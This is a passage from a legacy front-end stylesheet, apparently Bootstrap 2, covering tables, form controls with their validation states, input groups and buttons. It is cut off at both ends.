-webkit-border-bottom-left-radius: 0;\n  -moz-border-radius-bottomleft: 0;\n  border-bottom-left-radius: 0;\n}\n.table-bordered tfoot + tbody:last-child tr:last-child td:last-child {\n  -webkit-border-bottom-right-radius: 0;\n  -moz-border-radius-bottomright: 0;\n  border-bottom-right-radius: 0;\n}\n.table-bordered caption + thead tr:first-child th:first-child,\n.table-bordered caption + tbody tr:first-child td:first-child,\n.table-bordered colgroup + thead tr:first-child th:first-child,\n.table-bordered colgroup + tbody tr:first-child td:first-child {\n  -webkit-border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n  border-top-left-radius: 4px;\n}\n.table-bordered caption + thead tr:first-child th:last-child,\n.table-bordered caption + tbody tr:first-child td:last-child,\n.table-bordered colgroup + thead tr:first-child th:last-child,\n.table-bordered colgroup + tbody tr:first-child td:last-child {\n  -webkit-border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  border-top-right-radius: 4px;\n}\n.table-striped tbody > tr:nth-child(odd) > td,\n.table-striped tbody > tr:nth-child(odd) > th {\n  background-color: #f9f9f9;\n}\n.table-hover tbody tr:hover > td,\n.table-hover tbody tr:hover > th {\n  background-color: #f5f5f5;\n}\ntable td[class*=\"span\"],\ntable th[class*=\"span\"],\n.row-fluid table td[class*=\"span\"],\n.row-fluid table th[class*=\"span\"] {\n  display: table-cell;\n  float: none;\n  margin-left: 0;\n}\n.table td.span1,\n.table th.span1 {\n  float: none;\n  width: 44px;\n  margin-left: 0;\n}\n.table td.span2,\n.table th.span2 {\n  float: none;\n  width: 124px;\n  margin-left: 0;\n}\n.table td.span3,\n.table th.span3 {\n  float: none;\n  width: 204px;\n  margin-left: 0;\n}\n.table td.span4,\n.table th.span4 {\n  float: none;\n  width: 284px;\n  margin-left: 0;\n}\n.table td.span5,\n.table th.span5 {\n  float: none;\n  width: 364px;\n  margin-left: 0;\n}\n.table td.span6,\n.table th.span6 {\n  float: none;\n  width: 444px;\n  margin-left: 0;\n}\n.table td.span7,\n.table th.span7 {\n  float: none;\n  width: 524px;\n  margin-left: 0;\n}\n.table td.span8,\n.table th.span8 {\n  float: none;\n  width: 604px;\n  margin-left: 0;\n}\n.table td.span9,\n.table th.span9 {\n  float: none;\n  width: 684px;\n  margin-left: 0;\n}\n.table td.span10,\n.table th.span10 {\n  float: none;\n  width: 764px;\n  margin-left: 0;\n}\n.table td.span11,\n.table th.span11 {\n  float: none;\n  width: 844px;\n  margin-left: 0;\n}\n.table td.span12,\n.table th.span12 {\n  float: none;\n  width: 924px;\n  margin-left: 0;\n}\n.table tbody tr.success > td {\n  background-color: #dff0d8;\n}\n.table tbody tr.error > td {\n  background-color: #f2dede;\n}\n.table tbody tr.warning > td {\n  background-color: #fcf8e3;\n}\n.table tbody tr.info > td {\n  background-color: #d9edf7;\n}\n.table-hover tbody tr.success:hover > td {\n  background-color: #d0e9c6;\n}\n.table-hover tbody tr.error:hover > td {\n  background-color: #ebcccc;\n}\n.table-hover tbody tr.warning:hover > td {\n  background-color: #faf2cc;\n}\n.table-hover tbody tr.info:hover > td {\n  background-color: #c4e3f3;\n}\nform {\n  margin: 0 0 20px;\n}\nfieldset {\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: 40px;\n  color: #333333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\nlegend small {\n  font-size: 15px;\n  color: #999999;\n}\nlabel,\ninput,\nbutton,\nselect,\ntextarea {\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 20px;\n}\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n}\nlabel {\n  display: block;\n  margin-bottom: 5px;\n}\nselect,\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  display: inline-block;\n  height: 20px;\n  padding: 4px 6px;\n  margin-bottom: 10px;\n  font-size: 14px;\n  line-height: 20px;\n  color: #555555;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n  vertical-align: middle;\n}\ninput,\ntextarea,\n.uneditable-input {\n  width: 206px;\n}\ntextarea {\n  height: auto;\n}\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -webkit-transition: border linear .2s, box-shadow linear .2s;\n  -moz-transition: border linear .2s, box-shadow linear .2s;\n  -o-transition: border linear .2s, box-shadow linear .2s;\n  transition: border linear .2s, box-shadow linear .2s;\n}\ntextarea:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"datetime\"]:focus,\ninput[type=\"datetime-local\"]:focus,\ninput[type=\"date\"]:focus,\ninput[type=\"month\"]:focus,\ninput[type=\"time\"]:focus,\ninput[type=\"week\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"email\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"color\"]:focus,\n.uneditable-input:focus {\n  border-color: rgba(82, 168, 236, 0.8);\n  outline: 0;\n  outline: thin dotted \\9;\n  /* IE6-9 */\n\n  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);\n  -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);\n  box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  *margin-top: 0;\n  /* IE7 */\n\n  margin-top: 1px \\9;\n  /* IE8-9 */\n\n  line-height: normal;\n}\ninput[type=\"file\"],\ninput[type=\"image\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"],\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  width: auto;\n}\nselect,\ninput[type=\"file\"] {\n  height: 30px;\n  /* In IE7, the height of the select element cannot be changed by height, only font-size */\n\n  *margin-top: 4px;\n  /* For IE7, add top margin to align select with labels */\n\n  line-height: 30px;\n}\nselect {\n  width: 220px;\n  border: 1px solid #cccccc;\n  background-color: #ffffff;\n}\nselect[multiple],\nselect[size] {\n  height: auto;\n}\nselect:focus,\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.uneditable-input,\n.uneditable-textarea {\n  color: #999999;\n  background-color: #fcfcfc;\n  border-color: #cccccc;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n  -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n  cursor: not-allowed;\n}\n.uneditable-input {\n  overflow: hidden;\n  white-space: nowrap;\n}\n.uneditable-textarea {\n  width: auto;\n  height: auto;\n}\ninput:-moz-placeholder,\ntextarea:-moz-placeholder {\n  color: #999999;\n}\ninput:-ms-input-placeholder,\ntextarea:-ms-input-placeholder {\n  color: #999999;\n}\ninput::-webkit-input-placeholder,\ntextarea::-webkit-input-placeholder {\n  color: #999999;\n}\n.radio,\n.checkbox {\n  min-height: 20px;\n  padding-left: 20px;\n}\n.radio input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-left: -20px;\n}\n.controls > .radio:first-child,\n.controls > .checkbox:first-child {\n  padding-top: 5px;\n}\n.radio.inline,\n.checkbox.inline {\n  display: inline-block;\n  padding-top: 5px;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n.radio.inline + .radio.inline,\n.checkbox.inline + .checkbox.inline {\n  margin-left: 10px;\n}\n.input-mini {\n  width: 60px;\n}\n.input-small {\n  width: 90px;\n}\n.input-medium {\n  width: 150px;\n}\n.input-large {\n  width: 210px;\n}\n.input-xlarge {\n  width: 270px;\n}\n.input-xxlarge {\n  width: 530px;\n}\ninput[class*=\"span\"],\nselect[class*=\"span\"],\ntextarea[class*=\"span\"],\n.uneditable-input[class*=\"span\"],\n.row-fluid input[class*=\"span\"],\n.row-fluid select[class*=\"span\"],\n.row-fluid textarea[class*=\"span\"],\n.row-fluid .uneditable-input[class*=\"span\"] {\n  float: none;\n  margin-left: 0;\n}\n.input-append input[class*=\"span\"],\n.input-append .uneditable-input[class*=\"span\"],\n.input-prepend input[class*=\"span\"],\n.input-prepend .uneditable-input[class*=\"span\"],\n.row-fluid input[class*=\"span\"],\n.row-fluid select[class*=\"span\"],\n.row-fluid textarea[class*=\"span\"],\n.row-fluid .uneditable-input[class*=\"span\"],\n.row-fluid .input-prepend [class*=\"span\"],\n.row-fluid .input-append [class*=\"span\"] {\n  display: inline-block;\n}\ninput,\ntextarea,\n.uneditable-input {\n  margin-left: 0;\n}\n.controls-row [class*=\"span\"] + [class*=\"span\"] {\n  margin-left: 20px;\n}\ninput.span12,\ntextarea.span12,\n.uneditable-input.span12 {\n  width: 926px;\n}\ninput.span11,\ntextarea.span11,\n.uneditable-input.span11 {\n  width: 846px;\n}\ninput.span10,\ntextarea.span10,\n.uneditable-input.span10 {\n  width: 766px;\n}\ninput.span9,\ntextarea.span9,\n.uneditable-input.span9 {\n  width: 686px;\n}\ninput.span8,\ntextarea.span8,\n.uneditable-input.span8 {\n  width: 606px;\n}\ninput.span7,\ntextarea.span7,\n.uneditable-input.span7 {\n  width: 526px;\n}\ninput.span6,\ntextarea.span6,\n.uneditable-input.span6 {\n  width: 446px;\n}\ninput.span5,\ntextarea.span5,\n.uneditable-input.span5 {\n  width: 366px;\n}\ninput.span4,\ntextarea.span4,\n.uneditable-input.span4 {\n  width: 286px;\n}\ninput.span3,\ntextarea.span3,\n.uneditable-input.span3 {\n  width: 206px;\n}\ninput.span2,\ntextarea.span2,\n.uneditable-input.span2 {\n  width: 126px;\n}\ninput.span1,\ntextarea.span1,\n.uneditable-input.span1 {\n  width: 46px;\n}\n.controls-row {\n  *zoom: 1;\n}\n.controls-row:before,\n.controls-row:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.controls-row:after {\n  clear: both;\n}\n.controls-row [class*=\"span\"],\n.row-fluid .controls-row [class*=\"span\"] {\n  float: left;\n}\n.controls-row .checkbox[class*=\"span\"],\n.controls-row .radio[class*=\"span\"] {\n  padding-top: 5px;\n}\ninput[disabled],\nselect[disabled],\ntextarea[disabled],\ninput[readonly],\nselect[readonly],\ntextarea[readonly] {\n  cursor: not-allowed;\n  background-color: #eeeeee;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"][readonly],\ninput[type=\"checkbox\"][readonly] {\n  background-color: transparent;\n}\n.control-group.warning .control-label,\n.control-group.warning .help-block,\n.control-group.warning .help-inline {\n  color: #c09853;\n}\n.control-group.warning .checkbox,\n.control-group.warning .radio,\n.control-group.warning input,\n.control-group.warning select,\n.control-group.warning textarea {\n  color: #c09853;\n}\n.control-group.warning input,\n.control-group.warning select,\n.control-group.warning textarea {\n  border-color: #c09853;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.control-group.warning input:focus,\n.control-group.warning select:focus,\n.control-group.warning textarea:focus {\n  border-color: #a47e3c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;\n}\n.control-group.warning .input-prepend .add-on,\n.control-group.warning .input-append .add-on {\n  color: #c09853;\n  background-color: #fcf8e3;\n  border-color: #c09853;\n}\n.control-group.error .control-label,\n.control-group.error .help-block,\n.control-group.error .help-inline {\n  color: #b94a48;\n}\n.control-group.error .checkbox,\n.control-group.error .radio,\n.control-group.error input,\n.control-group.error select,\n.control-group.error textarea {\n  color: #b94a48;\n}\n.control-group.error input,\n.control-group.error select,\n.control-group.error textarea {\n  border-color: #b94a48;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.control-group.error input:focus,\n.control-group.error select:focus,\n.control-group.error textarea:focus {\n  border-color: #953b39;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;\n}\n.control-group.error .input-prepend .add-on,\n.control-group.error .input-append .add-on {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #b94a48;\n}\n.control-group.success .control-label,\n.control-group.success .help-block,\n.control-group.success .help-inline {\n  color: #468847;\n}\n.control-group.success .checkbox,\n.control-group.success .radio,\n.control-group.success input,\n.control-group.success select,\n.control-group.success textarea {\n  color: #468847;\n}\n.control-group.success input,\n.control-group.success select,\n.control-group.success textarea {\n  border-color: #468847;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.control-group.success input:focus,\n.control-group.success select:focus,\n.control-group.success textarea:focus {\n  border-color: #356635;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;\n}\n.control-group.success .input-prepend .add-on,\n.control-group.success .input-append .add-on {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #468847;\n}\n.control-group.info .control-label,\n.control-group.info .help-block,\n.control-group.info .help-inline {\n  color: #3a87ad;\n}\n.control-group.info .checkbox,\n.control-group.info .radio,\n.control-group.info input,\n.control-group.info select,\n.control-group.info textarea {\n  color: #3a87ad;\n}\n.control-group.info input,\n.control-group.info select,\n.control-group.info textarea {\n  border-color: #3a87ad;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.control-group.info input:focus,\n.control-group.info select:focus,\n.control-group.info textarea:focus {\n  border-color: #2d6987;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;\n}\n.control-group.info .input-prepend .add-on,\n.control-group.info .input-append .add-on {\n  color: #3a87ad;\n  background-color: #d9edf7;\n  border-color: #3a87ad;\n}\ninput:focus:invalid,\ntextarea:focus:invalid,\nselect:focus:invalid {\n  color: #b94a48;\n  border-color: #ee5f5b;\n}\ninput:focus:invalid:focus,\ntextarea:focus:invalid:focus,\nselect:focus:invalid:focus {\n  border-color: #e9322d;\n  -webkit-box-shadow: 0 0 6px #f8b9b7;\n  -moz-box-shadow: 0 0 6px #f8b9b7;\n  box-shadow: 0 0 6px #f8b9b7;\n}\n.form-actions {\n  padding: 19px 20px 20px;\n  margin-top: 20px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #e5e5e5;\n  *zoom: 1;\n}\n.form-actions:before,\n.form-actions:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.form-actions:after {\n  clear: both;\n}\n.help-block,\n.help-inline {\n  color: #595959;\n}\n.help-block {\n  display: block;\n  margin-bottom: 10px;\n}\n.help-inline {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  vertical-align: middle;\n  padding-left: 5px;\n}\n.input-append,\n.input-prepend {\n  display: inline-block;\n  margin-bottom: 10px;\n  vertical-align: middle;\n  font-size: 0;\n  white-space: nowrap;\n}\n.input-append input,\n.input-prepend input,\n.input-append select,\n.input-prepend select,\n.input-append .uneditable-input,\n.input-prepend .uneditable-input,\n.input-append .dropdown-menu,\n.input-prepend .dropdown-menu,\n.input-append .popover,\n.input-prepend .popover {\n  font-size: 14px;\n}\n.input-append input,\n.input-prepend input,\n.input-append select,\n.input-prepend select,\n.input-append .uneditable-input,\n.input-prepend .uneditable-input {\n  position: relative;\n  margin-bottom: 0;\n  *margin-left: 0;\n  vertical-align: top;\n  -webkit-border-radius: 0 4px 4px 0;\n  -moz-border-radius: 0 4px 4px 0;\n  border-radius: 0 4px 4px 0;\n}\n.input-append input:focus,\n.input-prepend input:focus,\n.input-append select:focus,\n.input-prepend select:focus,\n.input-append .uneditable-input:focus,\n.input-prepend .uneditable-input:focus {\n  z-index: 2;\n}\n.input-append .add-on,\n.input-prepend .add-on {\n  display: inline-block;\n  width: auto;\n  height: 20px;\n  min-width: 16px;\n  padding: 4px 5px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 20px;\n  text-align: center;\n  text-shadow: 0 1px 0 #ffffff;\n  background-color: #eeeeee;\n  border: 1px solid #ccc;\n}\n.input-append .add-on,\n.input-prepend .add-on,\n.input-append .btn,\n.input-prepend .btn,\n.input-append .btn-group > .dropdown-toggle,\n.input-prepend .btn-group > .dropdown-toggle {\n  vertical-align: top;\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.input-append .active,\n.input-prepend .active {\n  background-color: #a9dba9;\n  border-color: #46a546;\n}\n.input-prepend .add-on,\n.input-prepend .btn {\n  margin-right: -1px;\n}\n.input-prepend .add-on:first-child,\n.input-prepend .btn:first-child {\n  -webkit-border-radius: 4px 0 0 4px;\n  -moz-border-radius: 4px 0 0 4px;\n  border-radius: 4px 0 0 4px;\n}\n.input-append input,\n.input-append select,\n.input-append .uneditable-input {\n  -webkit-border-radius: 4px 0 0 4px;\n  -moz-border-radius: 4px 0 0 4px;\n  border-radius: 4px 0 0 4px;\n}\n.input-append input + .btn-group .btn:last-child,\n.input-append select + .btn-group .btn:last-child,\n.input-append .uneditable-input + .btn-group .btn:last-child {\n  -webkit-border-radius: 0 4px 4px 0;\n  -moz-border-radius: 0 4px 4px 0;\n  border-radius: 0 4px 4px 0;\n}\n.input-append .add-on,\n.input-append .btn,\n.input-append .btn-group {\n  margin-left: -1px;\n}\n.input-append .add-on:last-child,\n.input-append .btn:last-child,\n.input-append .btn-group:last-child > .dropdown-toggle {\n  -webkit-border-radius: 0 4px 4px 0;\n  -moz-border-radius: 0 4px 4px 0;\n  border-radius: 0 4px 4px 0;\n}\n.input-prepend.input-append input,\n.input-prepend.input-append select,\n.input-prepend.input-append .uneditable-input {\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.input-prepend.input-append input + .btn-group .btn,\n.input-prepend.input-append select + .btn-group .btn,\n.input-prepend.input-append .uneditable-input + .btn-group .btn {\n  -webkit-border-radius: 0 4px 4px 0;\n  -moz-border-radius: 0 4px 4px 0;\n  border-radius: 0 4px 4px 0;\n}\n.input-prepend.input-append .add-on:first-child,\n.input-prepend.input-append .btn:first-child {\n  margin-right: -1px;\n  -webkit-border-radius: 4px 0 0 4px;\n  -moz-border-radius: 4px 0 0 4px;\n  border-radius: 4px 0 0 4px;\n}\n.input-prepend.input-append .add-on:last-child,\n.input-prepend.input-append .btn:last-child {\n  margin-left: -1px;\n  -webkit-border-radius: 0 4px 4px 0;\n  -moz-border-radius: 0 4px 4px 0;\n  border-radius: 0 4px 4px 0;\n}\n.input-prepend.input-append .btn-group:first-child {\n  margin-left: 0;\n}\ninput.search-query {\n  padding-right: 14px;\n  padding-right: 4px \\9;\n  padding-left: 14px;\n  padding-left: 4px \\9;\n  /* IE7-8 doesn't have border-radius, so don't indent the padding */\n\n  margin-bottom: 0;\n  -webkit-border-radius: 15px;\n  -moz-border-radius: 15px;\n  border-radius: 15px;\n}\n/* Allow for input prepend/append in search forms */\n.form-search .input-append .search-query,\n.form-search .input-prepend .search-query {\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.form-search .input-append .search-query {\n  -webkit-border-radius: 14px 0 0 14px;\n  -moz-border-radius: 14px 0 0 14px;\n  border-radius: 14px 0 0 14px;\n}\n.form-search .input-append .btn {\n  -webkit-border-radius: 0 14px 14px 0;\n  -moz-border-radius: 0 14px 14px 0;\n  border-radius: 0 14px 14px 0;\n}\n.form-search .input-prepend .search-query {\n  -webkit-border-radius: 0 14px 14px 0;\n  -moz-border-radius: 0 14px 14px 0;\n  border-radius: 0 14px 14px 0;\n}\n.form-search .input-prepend .btn {\n  -webkit-border-radius: 14px 0 0 14px;\n  -moz-border-radius: 14px 0 0 14px;\n  border-radius: 14px 0 0 14px;\n}\n.form-search input,\n.form-inline input,\n.form-horizontal input,\n.form-search textarea,\n.form-inline textarea,\n.form-horizontal textarea,\n.form-search select,\n.form-inline select,\n.form-horizontal select,\n.form-search .help-inline,\n.form-inline .help-inline,\n.form-horizontal .help-inline,\n.form-search .uneditable-input,\n.form-inline .uneditable-input,\n.form-horizontal .uneditable-input,\n.form-search .input-prepend,\n.form-inline .input-prepend,\n.form-horizontal .input-prepend,\n.form-search .input-append,\n.form-inline .input-append,\n.form-horizontal .input-append {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n.form-search .hide,\n.form-inline .hide,\n.form-horizontal .hide {\n  display: none;\n}\n.form-search label,\n.form-inline label,\n.form-search .btn-group,\n.form-inline .btn-group {\n  display: inline-block;\n}\n.form-search .input-append,\n.form-inline .input-append,\n.form-search .input-prepend,\n.form-inline .input-prepend {\n  margin-bottom: 0;\n}\n.form-search .radio,\n.form-search .checkbox,\n.form-inline .radio,\n.form-inline .checkbox {\n  padding-left: 0;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n.form-search .radio input[type=\"radio\"],\n.form-search .checkbox input[type=\"checkbox\"],\n.form-inline .radio input[type=\"radio\"],\n.form-inline .checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-right: 3px;\n  margin-left: 0;\n}\n.control-group {\n  margin-bottom: 10px;\n}\nlegend + .control-group {\n  margin-top: 20px;\n  -webkit-margin-top-collapse: separate;\n}\n.form-horizontal .control-group {\n  margin-bottom: 20px;\n  *zoom: 1;\n}\n.form-horizontal .control-group:before,\n.form-horizontal .control-group:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.form-horizontal .control-group:after {\n  clear: both;\n}\n.form-horizontal .control-label {\n  float: left;\n  width: 160px;\n  padding-top: 5px;\n  text-align: right;\n}\n.form-horizontal .controls {\n  *display: inline-block;\n  *padding-left: 20px;\n  margin-left: 180px;\n  *margin-left: 0;\n}\n.form-horizontal .controls:first-child {\n  *padding-left: 180px;\n}\n.form-horizontal .help-block {\n  margin-bottom: 0;\n}\n.form-horizontal input + .help-block,\n.form-horizontal select + .help-block,\n.form-horizontal textarea + .help-block,\n.form-horizontal .uneditable-input + .help-block,\n.form-horizontal .input-prepend + .help-block,\n.form-horizontal .input-append + .help-block {\n  margin-top: 10px;\n}\n.form-horizontal .form-actions {\n  padding-left: 180px;\n}\n.btn {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  padding: 4px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  line-height: 20px;\n  text-align: center;\n  vertical-align: middle;\n  cursor: pointer;\n  color: #333333;\n  text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);\n  background-color: #f5f5f5;\n  background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));\n  background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: linear-gradient(to bottom, #ffffff, #e6e6e6);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0);\n  border-color: #e6e6e6 #e6e6e6 #bfbfbf;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #e6e6e6;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  border: 1px solid #cccccc;\n  *border: 0;\n  border-bottom-color: #b3b3b3;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n  *margin-left: .3em;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);\n  -moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);\n  box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);\n}\n.btn:hover,\n.btn:focus,\n.btn:active,\n.btn.active,\n.btn.disabled,\n.btn[disabled] {\n  color: #333333;\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n}\n.btn:active,\n.btn.active {\n  background-color: #cccccc \\9;\n}\n.btn:first-child {\n  *margin-left: 0;\n}\n.btn:hover,\n.btn:focus {\n  color: #333333;\n  text-decoration: none;\n  background-position: 0 -15px;\n  -webkit-transition: background-position 0.1s linear;\n  -moz-transition: background-position 0.1s linear;\n  -o-transition: background-position 0.1s linear;\n  transition: background-position 0.1s linear;\n}\n.btn:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.btn.active,\n.btn:active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);\n  -moz-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);\n  box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);\n}\n.btn.disabled,\n.btn[disabled] {\n  cursor: default;\n  background-image: none;\n  opacity: 0.65;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n  -moz-box-shadow: none;\n  box-shadow: none;\n}\n.btn-large {\n  padding: 11px 19px;\n  font-size: 17.5px;\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n}\n.btn-large [class^=\"icon-\"],\n.btn-large [class*=\" icon-\"] {\n  margin-top: 4px;\n}\n.btn-small {\n  padding: 2px 10px;\n  font-size: 11.9px;\n  -webkit-border-radius: 3px;\n  -moz-border-radius: 3px;\n  border-radius: 3px;\n}\n.btn-small [class^=\"icon-\"],\n.btn-small [class*=\" icon-\"] {\n  margin-top: 0;\n}\n.btn-mini [class^=\"icon-\"],\n.btn-mini [class*=\" icon-\"] {\n  margin-top: -1px;\n}\n.btn-mini {\n  padding: 0 6px;\n  font-size: 10.5px;\n  -webkit-border-radius: 3px;\n  -moz-border-radius: 3px;\n  border-radius: 3px;\n}\n.btn-block {\n  display: block;\n  width: 100%;\n  padding-left: 0;\n  padding-right: 0;\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n.btn-primary.active,\n.btn-warning.active,\n.btn-danger.active,\n.btn-success.active,\n.btn-info.active,\n.btn-inverse.active {\n  color: rgba(255, 255, 255, 0.75);\n}\n.btn-primary {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #006dcc;\n  background-image: -moz-linear-gradient(top, #0088cc, #0044cc);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), 